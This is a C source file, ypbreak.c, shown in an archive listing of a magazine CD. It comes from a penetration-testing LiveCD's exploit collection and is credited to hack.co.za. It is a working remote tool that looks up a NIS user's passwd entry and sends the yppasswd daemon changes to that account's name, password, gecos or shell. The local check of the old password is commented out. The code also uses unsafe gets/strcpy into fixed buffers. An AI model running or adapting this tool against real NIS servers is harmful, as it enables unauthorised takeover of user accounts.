home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / ypbreak.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  264 lines

  1. /* remote yppasswd type program
  2.  * lets you change username, password, gecos and/or shell
  3.  * remotely via the yppasswd daemon.
  4.  * (note daemon may not accept all of your changes)
  5.  * 
  6.  *  cc source.c -lrpcsvc
  7.  *  progname ypmaster ypdomain
  8.  */
  9.  
  10. #include <signal.h>
  11. #include <rpc/rpc.h>
  12. #include <stdio.h>
  13. #include <pwd.h>
  14. #include <rpcsvc/yppasswd.h>
  15. #include <rpcsvc/yp_prot.h>
  16.  
  17. #define TIMEOUT 15
  18.  
  19. extern char *get_yp_map();
  20.  
  21. char *split(s)
  22. char *s;
  23. {
  24.   while(*s!='\0' && *s!=':') s++;
  25.   if(*s =='\0') return s;
  26.   *s='\0';
  27.   return(s+1);
  28. }
  29.  
  30. changes(p)
  31. struct passwd *p;
  32. {
  33.   int done=0,choice;
  34.   char s[100],s2[100];
  35.  
  36.   while(!done)
  37.     {
  38.       printf("0. quit\n");
  39.       printf("1. name\n");
  40.       printf("2. password\n");
  41.       printf("3. gecos\n");
  42.       printf("4. shell\n");
  43.       printf("choice> ");
  44.       fflush(stdout);
  45.       scanf("%d",&choice);
  46.       switch(choice)
  47.         {
  48.         case 0:
  49.           done++;
  50.           break;
  51.         case 1:
  52.           printf("New name: ");
  53.           fflush(stdout);
  54.           scanf("%s",p->pw_name);
  55.           break;
  56.         case 2:
  57.           printf("New pass: ");
  58.           fflush(stdout);
  59.           scanf("%s",s);
  60.           s[8]='\0';
  61.           /* so we dont have a random salt.. who cares */
  62.           strcpy(p->pw_passwd,crypt(s,"AE"));
  63.           break;
  64.         case 3:
  65.           printf("New finger info: ");
  66.           scanf("%*c");     /* get rid of previous \n still in buffer */
  67.           strcpy(p->pw_gecos,gets(s));
  68.           break;
  69.         case 4:
  70.           printf("New shell: ");
  71.           fflush(stdout);
  72.           scanf("%s",s);
  73.           strcpy(p->pw_shell,s);
  74.           break;
  75.         default:
  76.           printf("Invalid Choice.\n");
  77.           break;
  78.         }
  79.     }
  80. }
  81.  
  82. getpw(p,st)   /* put string st into passwd structure */
  83. struct passwd *p;
  84. char *st;
  85. {
  86.   char *s,*t;
  87.  
  88.   s=split(st);
  89.   strcpy(p->pw_name, st);
  90.   t=split(s);
  91.   strcpy(p->pw_passwd,s);
  92.   s = split(t);
  93.   p->pw_uid = atoi(t);
  94.   t = split(s);
  95.   p->pw_gid = atoi(s);
  96.   s = split(t);
  97.   strcpy(p->pw_gecos,t);
  98.   t = split(s);
  99.   strcpy(p->pw_dir,s);
  100.   s=split(t);
  101.   strcpy(p->pw_shell,t);
  102.   p->pw_age = NULL;
  103.   p->pw_comment = NULL;
  104. }
  105.  
  106. void timeout();
  107. char *getpass();
  108.  
  109. main(argc,argv)
  110. char **argv;
  111. int argc;
  112. {
  113.   struct yppasswd yppasswd;
  114.   struct passwd p;
  115.   int len,ok,ans;
  116.   enum clnt_stat errcode;
  117.   char temp[100],a[100],b[20],c[100],d[100],e[50];
  118.   char space[100];
  119.   char *s;
  120.   struct ypreq_key key;
  121.   struct ypresp_val answer;
  122.   char *domain,*master;
  123.   char *pass;
  124.  
  125.   if(argc!=3)
  126.     {
  127.       printf("Usage: %s server domain\n",argv[0]);
  128.       exit(1);
  129.     }
  130.   master=argv[1];
  131.   domain=argv[2];
  132.  
  133.   answer.valdat.dptr = space;   /* where our answer will be */
  134.  
  135.   p.pw_name   = a;     /* we need space! */
  136.   p.pw_passwd = b;
  137.   p.pw_gecos  = c;
  138.   p.pw_dir    = d;
  139.   p.pw_shell  = e;
  140.  
  141.   printf("Enter account name : ");
  142.   scanf("%s",temp);
  143.  
  144.   key.domain = domain;
  145.   key.map = "passwd.byname";
  146.   key.keydat.dptr = temp;
  147.   key.keydat.dsize = strlen(temp);
  148.  
  149.   signal(SIGALRM,timeout);
  150.   alarm(TIMEOUT);
  151.   errcode = callrpc( master,YPPROG, YPVERS, YPPROC_MATCH,
  152.                      xdr_ypreq_key,(caddr_t) &key,
  153.                      xdr_ypresp_val, &answer);
  154.   alarm(0);
  155.   if ( errcode != RPC_SUCCESS)
  156.     print_rpc_err(errcode);
  157.   if (answer.status == TRUE )
  158.     {   /* we have a match */
  159.       len = answer.valdat.dsize;
  160.       answer.valdat.dptr[len] = '\0';   /* null terminate */
  161.       getpw(&p,answer.valdat.dptr);
  162.       print_pwd(p);
  163.     }
  164.   else
  165.     {
  166.       printf("User %s not found.\n",temp);
  167.       exit(1);
  168.     }
  169.   printf("\n\n");
  170.  
  171.   pass=getpass("Password:");
  172.   /*  if(strlen(p.pw_passwd)!=0)
  173.       if (strcmp(crypt(pass,p.pw_passwd),p.pw_passwd)!=0) {
  174.         printf("Bad password.  Not even gonna bother.\n");
  175.         exit(1);
  176.       }    
  177.   */
  178.  
  179.   changes(&p);
  180.   print_pwd(p);
  181.   printf("Is this ok? [y/n] : ");
  182.   scanf("%*c");   /* flush last <enter> */
  183.   gets(temp);
  184.   if(temp[0]!='y') return;
  185.  
  186.   yppasswd.oldpass = pass;
  187.   yppasswd.newpw = p;
  188.  
  189.   /* All the work is done here, now we try to actually do it */
  190.   ans = callrpc(master, YPPASSWDPROG, YPPASSWDVERS,
  191.                 YPPASSWDPROC_UPDATE, xdr_yppasswd, &yppasswd,
  192.                 xdr_int, &ok);
  193.   if(ans!=0)
  194.     {
  195.       fprintf(stderr, "RPC call didnt go through.\n");
  196.       exit(1);
  197.     }
  198.   if(ok==1)
  199.     {
  200.       fprintf("Remote site wouldnt change pw entry (wrong pw?)\n");
  201.     }
  202.   if(ok!=0)
  203.     {
  204.       decodeans(ok,master);
  205.       exit(1);
  206.     }
  207.  
  208. }
  209.  
  210.  
  211. #define MAXMSG 17
  212. char *msgs[]=
  213.   {
  214.     "No error",                             /*0*/
  215.     "Error from pre 4.1 version",           /*1*/
  216.     "Password incorrect",   /*2*/ /*really login incorrect but why say so*/
  217.     "No changeable fields were changed",   /*3*/
  218.     "No password in adjunct",   /*4*/
  219.     "Bad password in adjunct",   /*5*/
  220.     "Inconsistency in adjunct",   /*6*/
  221.     "Password incorrect",   /*7*/
  222.     "Password file busy -- try again later",   /*8*/
  223.     "Password temp file open error -- contact system administrator",   /*9*/
  224.     "Password temp file fdopen error -- contact system administrator",   /*10*/
  225.     "Password adjunct file fopen error -- contact system administrator",   /*11*/
  226.     "Password file fopen error -- contact system administrator",   /*12*/
  227.     "Password temp file fputs failed; disk partition may be full on NIS master! -- contact system administrator",   /*13*/
  228.     "Password temp file ferror is set; disk partition may be full on NIS master! -- contact system administrator",   /*14*/
  229.     "Password temp file fflush failed; disk partition may be full on NIS master! -- contact system administrator",   /*15*/
  230.     "Password adjunct file rename failed; disk partition may be full on NIS master! -- contact system administrator",   /*16*/
  231.     "Password file rename failed; disk partition may be full on NIS master! -- contact system administrator",   /*17*/
  232.   };
  233.  
  234. decodeans(ok, master)
  235. char *master;
  236. int ok;
  237. {
  238.   if (ok <0 || ok > MAXMSG )
  239.     fprintf(stderr, "Remote %s error %d\n",master, ok);
  240.   else
  241.     fprintf(stderr,"Error from %s: %s \n",master, msgs[ok]);
  242. }
  243.  
  244. print_pwd(p)
  245. struct passwd p;
  246. {
  247.   printf("%s:%s:%d:%d:%s:%s:%s\n",
  248.          p.pw_name,p.pw_passwd,p.pw_uid,p.pw_gid,
  249.          p.pw_gecos,p.pw_dir,p.pw_shell);
  250. }
  251.  
  252.  
  253. print_rpc_err(errcode)
  254. {
  255.   fprintf(stderr, "%s\n",clnt_sperrno(errcode));
  256.   exit(1);
  257. }
  258.  
  259. void timeout()
  260. {
  261.   printf("RPC request (callrpc) timed out.\n");
  262.   exit(1);
  263. }
  264. /*                    www.hack.co.za              [2000]*/